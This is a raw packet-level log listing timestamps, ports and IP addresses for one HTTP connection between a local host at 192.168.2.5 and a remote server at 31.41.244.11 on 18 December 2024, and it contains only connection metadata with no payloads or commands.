Dec 18, 2024 19:08:53.425316095 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.425355911 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.425436020 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.425481081 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.427489996 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.427541971 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.427675009 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.427714109 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.429651022 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.429703951 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.429764986 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.429887056 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.431845903 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.431899071 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.431974888 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.432310104 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.434432983 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.434480906 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.434510946 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.434552908 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.436394930 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.436451912 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.436680079 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.436729908 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.438342094 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.438389063 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.438436985 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.438477039 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.440591097 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.440644979 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.440695047 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.440784931 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.442748070 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.442789078 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.442790985 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.442833900 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.444890976 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.444933891 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.444997072 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.445058107 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.447408915 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.447452068 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.447593927 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.447736979 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.449271917 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.449321985 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.449404001 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.449443102 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.451467037 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.451585054 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.451663017 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.451704025 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.453614950 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.453655958 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.454860926 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.454919100 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.455744982 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.455903053 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.456123114 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.456165075 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.457931995 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.458173990 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.458208084 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.458219051 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.460227013 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.460275888 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.460443020 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.460496902 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.462332964 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.462382078 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.462409019 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.462558985 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.464719057 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.464761019 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.464937925 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.465073109 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.467086077 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.467129946 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.467495918 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.467534065 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.468868017 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.468914986 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.469115019 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.469167948 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.471014023 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.471061945 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.471328974 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.471375942 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.473170042 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.473231077 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.474771023 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.474828005 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.475414038 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.475471020 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.476136923 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.476249933 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.477649927 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.477694988 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.477956057 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.478004932 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.479703903 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.479754925 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.479859114 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.479906082 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.481981993 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.482023001 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.482081890 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.482146978 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.484158993 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.484224081 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.484271049 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.484309912 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.486382961 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.486443043 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.486671925 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.486718893 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.488442898 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.488495111 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.488632917 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.488682985 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.490864992 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.490926027 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.491046906 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.491103888 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.492892981 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.492942095 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.493067980 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.493113995 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.494900942 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.494949102 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.495001078 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.495043039 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.497157097 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.497212887 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.498408079 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.498446941 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.499283075 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.499326944 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.499501944 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.499706984 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.501462936 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.501588106 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.501595020 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.501626968 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.503680944 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.503808022 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.503849030 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.505882025 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.505964994 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.505997896 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.506064892 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.508125067 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.508183002 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.508187056 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.508219957 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.510313034 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.510371923 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.510443926 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.510492086 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.512414932 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.512537003 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.512586117 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.514530897 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.514652967 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.515788078 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.515839100 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.516733885 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.516784906 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.516930103 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.516988993 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.518966913 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.519010067 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.519155979 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.519211054 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.521254063 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.521420956 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.521465063 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.521502018 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.523250103 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.523297071 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.523668051 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.523721933 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.525397062 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.525473118 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.525490046 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.525526047 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.527563095 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.527614117 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.527650118 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.527688026 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.529752970 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.529793978 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.529905081 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.529953003 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.532026052 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.532071114 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.532141924 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.532191038 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.534110069 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.534157991 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.534462929 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.534514904 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.536267042 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.536341906 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.536400080 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.536468029 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.538496971 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.538548946 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.538661003 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.538707972 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.540721893 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.540765047 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.540834904 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.540884972 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.542799950 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.542848110 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.542886972 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.542984962 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.544951916 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.545017958 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.545331955 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.545495987 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.547183037 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.547254086 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.547569990 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.547638893 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.549495935 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.549550056 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.549571991 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.549766064 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.551557064 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.551615953 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.551693916 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.551742077 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.554013014 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.554064989 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.554092884 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.554130077 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.556029081 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.556129932 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.556215048 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.558063984 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.558144093 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.558263063 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.558307886 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.560313940 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.560360909 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.560678959 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.560718060 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.562443018 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.562495947 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.563041925 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.563095093 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.564632893 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.564815998 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.564877033 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.565084934 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.566750050 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.566804886 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.566989899 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.567038059 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.569078922 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.569154978 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.569164991 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.569205999 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.571152925 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.571227074 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.571559906 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.571616888 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.573304892 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.573368073 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.573533058 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.573616982 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.576205969 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.576257944 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.576338053 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.576452017 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.577685118 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.577732086 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.577786922 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.577881098 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.579857111 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.579895973 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.579907894 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.579950094 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.581996918 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.582042933 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.582315922 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.582364082 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.584404945 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.584454060 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.584567070 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.584667921 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.586515903 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.586563110 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.586591005 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.586769104 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.588949919 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.589006901 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.589371920 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.589421988 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.591438055 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.591478109 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.591495991 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.591507912 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.593624115 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.593672037 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.593727112 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.595489979 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.595542908 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.595613003 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.595659971 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.597321033 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.597420931 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.597472906 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.599401951 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.599452019 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.599524975 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.599565983 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.601615906 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.601747990 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.601797104 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.603744030 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.603790998 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.604285955 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.605921984 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.605973959 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.606144905 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.606188059 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.608117104 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.608165979 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.608400106 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.610305071 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.610354900 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.610533953 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.610579967 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.612469912 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.612709045 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.612761021 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.614890099 CET	80	49739	31.41.244.11	192.168.2.5
